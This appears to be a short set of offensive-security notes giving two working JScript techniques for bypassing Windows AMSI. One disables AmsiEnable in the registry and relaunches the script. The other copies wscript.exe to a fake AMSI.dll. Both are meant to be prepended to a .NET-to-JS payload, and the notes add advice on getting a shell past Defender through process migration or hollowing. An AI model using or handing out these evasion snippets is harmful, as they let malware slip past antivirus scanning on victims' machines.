var sh =newActiveXObject('WScript.Shell');var key ="HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";try{var AmsiEnable =sh.RegRead(key);if(AmsiEnable!=0){thrownewError(1,''); }}catch(e){sh.RegWrite(key,0,"REG_DWORD");sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1);sh.RegWrite(key,1,"REG_DWORD");WScript.Quit(1);}
Bypass AMSI by renaming wscript.exe to amsi.dll
prepend to .netToJs.js
var filesys=newActiveXObject("Scripting.FileSystemObject");var sh =newActiveXObject('WScript.Shell');try{if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll")==0) {thrownewError(1,''); }}catch(e){filesys.CopyFile("C:\\Windows\\System32\\wscript.exe","C:\\Windows\\Tasks\\AMSI.dll");sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName);WScript.Quit(1);}
Working shell for a brief period of time if not combining with evasion techniques ;
Defender will flag - need immediately migrate the process or process injection / hollowing